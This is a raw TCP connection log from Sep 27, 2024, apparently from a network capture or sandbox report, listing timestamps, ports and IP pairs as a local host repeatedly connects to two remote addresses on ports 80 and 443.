Sep 27, 2024 17:43:00.127362013 CEST	49853	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:00.128468990 CEST	49853	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:00.133404970 CEST	80	49853	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:00.243108034 CEST	49854	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:00.243172884 CEST	443	49854	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:00.243257046 CEST	49854	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:00.243798971 CEST	49854	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:00.243813038 CEST	443	49854	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:00.351398945 CEST	80	49853	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:00.351476908 CEST	49853	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:00.430638075 CEST	49855	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:00.430723906 CEST	443	49855	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:00.430813074 CEST	49855	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:00.431143999 CEST	49855	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:00.431180954 CEST	443	49855	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:00.459887028 CEST	49853	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:00.460190058 CEST	49856	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:00.465019941 CEST	80	49853	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:00.465061903 CEST	80	49856	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:00.465095997 CEST	49853	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:00.465137959 CEST	49856	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:00.465286016 CEST	49856	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:00.470310926 CEST	80	49856	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:00.729223013 CEST	443	49854	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:00.729319096 CEST	49854	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:00.753884077 CEST	49854	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:00.753917933 CEST	443	49854	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:00.754992962 CEST	443	49854	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:00.756288052 CEST	49854	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:00.803395033 CEST	443	49854	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:00.904158115 CEST	443	49855	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:00.904236078 CEST	49855	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:00.912453890 CEST	49855	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:00.912502050 CEST	443	49855	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:00.912755966 CEST	443	49855	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:00.913563013 CEST	49855	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:00.955420017 CEST	443	49855	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:01.145847082 CEST	443	49854	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:01.147417068 CEST	443	49854	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:01.147476912 CEST	49854	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:01.147613049 CEST	49854	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:01.147636890 CEST	443	49854	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:01.174545050 CEST	80	49856	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:01.174611092 CEST	49856	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:01.175760031 CEST	49856	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:01.180854082 CEST	80	49856	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:01.330921888 CEST	443	49855	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:01.331015110 CEST	443	49855	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:01.331073046 CEST	49855	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:01.333081007 CEST	49855	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:01.333110094 CEST	443	49855	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:01.333126068 CEST	49855	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:01.333133936 CEST	443	49855	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:01.408756018 CEST	80	49856	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:01.408818960 CEST	49856	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:01.445797920 CEST	49857	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:01.445846081 CEST	443	49857	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:01.446233988 CEST	49857	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:01.447079897 CEST	49857	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:01.447088957 CEST	443	49857	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:01.520638943 CEST	49856	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:01.521023989 CEST	49858	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:01.526284933 CEST	80	49858	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:01.526391983 CEST	49858	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:01.526613951 CEST	49858	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:01.527373075 CEST	80	49856	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:01.527519941 CEST	49856	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:01.531650066 CEST	80	49858	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:01.620300055 CEST	49859	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:01.620346069 CEST	443	49859	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:01.620493889 CEST	49859	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:01.620891094 CEST	49859	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:01.620902061 CEST	443	49859	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:01.919080973 CEST	443	49857	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:01.919142008 CEST	49857	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:01.920648098 CEST	49857	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:01.920659065 CEST	443	49857	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:01.920969009 CEST	443	49857	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:01.922738075 CEST	49857	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:01.967395067 CEST	443	49857	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:02.102308989 CEST	443	49859	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:02.102407932 CEST	49859	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:02.103806019 CEST	49859	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:02.103823900 CEST	443	49859	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:02.104115009 CEST	443	49859	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:02.108150005 CEST	49859	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:02.155395031 CEST	443	49859	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:02.382951975 CEST	80	49858	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:02.383399963 CEST	49858	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:02.383466959 CEST	443	49857	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:02.383578062 CEST	443	49857	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:02.383640051 CEST	49857	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:02.419157028 CEST	49858	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:02.419399023 CEST	49857	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:02.419424057 CEST	443	49857	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:02.419435024 CEST	49857	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:02.419440985 CEST	443	49857	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:02.424479961 CEST	80	49858	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:02.555979967 CEST	443	49859	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:02.556057930 CEST	443	49859	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:02.556134939 CEST	49859	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:02.679337978 CEST	80	49858	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:02.682002068 CEST	49858	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:02.709346056 CEST	49859	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:02.709371090 CEST	443	49859	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:02.709420919 CEST	49859	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:02.709427118 CEST	443	49859	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:02.803108931 CEST	49858	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:02.803544044 CEST	49860	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:02.809161901 CEST	80	49860	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:02.809382915 CEST	49860	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:02.810136080 CEST	49860	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:02.810519934 CEST	80	49858	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:02.810606003 CEST	49858	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:02.815181017 CEST	80	49860	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:02.851325989 CEST	49861	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:02.851391077 CEST	443	49861	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:02.851541042 CEST	49861	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:02.851938009 CEST	49861	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:02.851963043 CEST	443	49861	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:03.085690975 CEST	49862	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:03.085736990 CEST	443	49862	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:03.085863113 CEST	49862	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:03.086611986 CEST	49862	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:03.086643934 CEST	443	49862	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:03.418663025 CEST	443	49861	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:03.418745995 CEST	49861	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:03.420384884 CEST	49861	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:03.420396090 CEST	443	49861	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:03.420703888 CEST	443	49861	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:03.424892902 CEST	49861	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:03.467415094 CEST	443	49861	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:03.525504112 CEST	80	49860	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:03.525618076 CEST	49860	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:03.527072906 CEST	49860	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:03.531981945 CEST	80	49860	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:03.548652887 CEST	443	49862	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:03.548769951 CEST	49862	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:03.550146103 CEST	49862	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:03.550158978 CEST	443	49862	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:03.550414085 CEST	443	49862	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:03.552021027 CEST	49862	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:03.595405102 CEST	443	49862	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:03.779948950 CEST	80	49860	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:03.780430079 CEST	49860	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:03.822175980 CEST	443	49862	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:03.822577000 CEST	443	49862	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:03.822753906 CEST	49862	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:03.822753906 CEST	49862	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:03.822753906 CEST	49862	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:03.844938993 CEST	443	49861	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:03.845050097 CEST	443	49861	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:03.845324039 CEST	49861	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:03.862689018 CEST	49861	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:03.862689018 CEST	49861	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:03.862720966 CEST	443	49861	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:03.862731934 CEST	443	49861	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:03.902981997 CEST	49860	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:03.903340101 CEST	49863	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:03.908718109 CEST	80	49863	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:03.908821106 CEST	49863	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:03.908896923 CEST	80	49860	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:03.909044981 CEST	49860	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:03.909044981 CEST	49863	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:03.914047003 CEST	80	49863	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:04.085566044 CEST	49864	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:04.085643053 CEST	443	49864	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:04.085714102 CEST	49864	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:04.086004972 CEST	49864	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:04.086023092 CEST	443	49864	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:04.144597054 CEST	49862	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:04.144620895 CEST	443	49862	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:04.634247065 CEST	80	49863	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:04.634404898 CEST	49863	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:04.638430119 CEST	49863	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:04.638560057 CEST	49865	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:04.643548012 CEST	80	49865	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:04.643630028 CEST	49865	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:04.643745899 CEST	80	49863	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:04.643924952 CEST	49863	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:04.644211054 CEST	49865	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:04.649116039 CEST	80	49865	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:04.873476028 CEST	443	49864	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:04.873611927 CEST	49864	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:04.876462936 CEST	49864	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:04.876502037 CEST	443	49864	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:04.877511978 CEST	443	49864	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:04.878667116 CEST	49864	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:04.919428110 CEST	443	49864	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:05.293803930 CEST	443	49864	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:05.294023991 CEST	443	49864	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:05.294086933 CEST	49864	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:05.294353962 CEST	49864	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:05.294377089 CEST	443	49864	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:05.294392109 CEST	49864	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:05.294399977 CEST	443	49864	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:05.362236977 CEST	80	49865	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:05.362349033 CEST	49865	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:05.492897034 CEST	49865	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:05.493465900 CEST	49866	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:05.498526096 CEST	80	49865	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:05.498541117 CEST	80	49866	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:05.498584986 CEST	49865	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:05.498632908 CEST	49866	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:05.498855114 CEST	49866	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:05.504095078 CEST	80	49866	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:05.527498960 CEST	49867	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:05.527554035 CEST	443	49867	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:05.527651072 CEST	49867	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:05.528238058 CEST	49867	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:05.528255939 CEST	443	49867	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:06.019598007 CEST	443	49867	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:06.019684076 CEST	49867	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:06.034652948 CEST	49867	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:06.034693956 CEST	443	49867	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:06.035510063 CEST	443	49867	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:06.038050890 CEST	49867	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:06.079425097 CEST	443	49867	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:06.245016098 CEST	80	49866	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:06.247445107 CEST	49866	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:06.278886080 CEST	49866	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:06.283946037 CEST	80	49866	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:06.303870916 CEST	443	49867	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:06.304136038 CEST	443	49867	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:06.304337025 CEST	49867	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:06.304713011 CEST	49867	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:06.304745913 CEST	443	49867	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:06.515132904 CEST	80	49866	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:06.515361071 CEST	49866	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:06.650926113 CEST	49866	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:06.652204037 CEST	49868	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:06.656280041 CEST	80	49866	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:06.656457901 CEST	49866	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:06.657172918 CEST	80	49868	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:06.658586025 CEST	49868	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:06.659894943 CEST	49868	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:06.664735079 CEST	80	49868	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:07.133666039 CEST	49869	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:07.133703947 CEST	443	49869	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:07.133769035 CEST	49869	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:07.134218931 CEST	49869	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:07.134232998 CEST	443	49869	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:07.374871016 CEST	80	49868	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:07.375430107 CEST	49868	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:07.378210068 CEST	49868	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:07.378531933 CEST	49870	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:07.383702040 CEST	80	49868	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:07.383738041 CEST	80	49870	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:07.387408972 CEST	49868	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:07.387442112 CEST	49870	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:07.387698889 CEST	49870	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:07.392549038 CEST	80	49870	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:07.607981920 CEST	443	49869	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:07.608073950 CEST	49869	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:07.609407902 CEST	49869	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:07.609414101 CEST	443	49869	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:07.609733105 CEST	443	49869	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:07.610565901 CEST	49869	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:07.651412010 CEST	443	49869	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:08.053556919 CEST	443	49869	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:08.053939104 CEST	443	49869	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:08.055449009 CEST	49869	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:08.055741072 CEST	49869	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:08.055754900 CEST	443	49869	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:08.055769920 CEST	49869	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:08.055774927 CEST	443	49869	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:08.150934935 CEST	80	49870	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:08.151026964 CEST	49870	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:08.260656118 CEST	49870	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:08.261202097 CEST	49871	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:08.267815113 CEST	80	49870	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:08.267831087 CEST	80	49871	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:08.267874956 CEST	49870	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:08.267914057 CEST	49871	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:08.273228884 CEST	49871	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:08.278089046 CEST	80	49871	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:08.341711998 CEST	49872	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:08.341756105 CEST	443	49872	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:08.341845036 CEST	49872	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:08.343040943 CEST	49872	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:08.343055010 CEST	443	49872	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:08.832494974 CEST	443	49872	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:08.832648993 CEST	49872	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:08.847392082 CEST	49872	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:08.847440958 CEST	443	49872	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:08.848021984 CEST	443	49872	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:08.849124908 CEST	49872	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:08.895404100 CEST	443	49872	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:08.984005928 CEST	80	49871	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:08.984062910 CEST	49871	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:08.987535000 CEST	49871	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:08.987950087 CEST	49873	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:08.992830992 CEST	80	49871	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:08.992964029 CEST	49871	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:08.993035078 CEST	80	49873	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:08.993143082 CEST	49873	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:08.993453979 CEST	49873	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:08.998394966 CEST	80	49873	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:09.104836941 CEST	443	49872	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:09.104950905 CEST	443	49872	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:09.105087042 CEST	49872	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:09.105417967 CEST	49872	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:09.105417967 CEST	49872	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:43:09.105463028 CEST	443	49872	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:09.105475903 CEST	443	49872	172.67.187.100	192.168.2.4
Sep 27, 2024 17:43:09.713608027 CEST	80	49873	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:09.713762045 CEST	49873	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:09.819128036 CEST	49873	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:09.819746017 CEST	49874	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:09.824754953 CEST	80	49873	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:09.824863911 CEST	49873	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:09.825046062 CEST	80	49874	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:09.825171947 CEST	49874	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:09.825216055 CEST	49874	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:09.830720901 CEST	80	49874	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:10.564949989 CEST	80	49874	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:10.565022945 CEST	49874	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:10.568511963 CEST	49874	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:10.568794966 CEST	49875	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:10.573681116 CEST	80	49874	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:10.573759079 CEST	49874	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:10.573821068 CEST	80	49875	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:10.573898077 CEST	49875	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:10.574079037 CEST	49875	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:10.578921080 CEST	80	49875	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:11.303515911 CEST	80	49875	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:11.303720951 CEST	49875	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:11.414117098 CEST	49875	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:11.414464951 CEST	49876	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:11.419265032 CEST	80	49876	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:11.419413090 CEST	49876	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:11.419451952 CEST	80	49875	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:11.419745922 CEST	49875	80	192.168.2.4	185.215.113.16
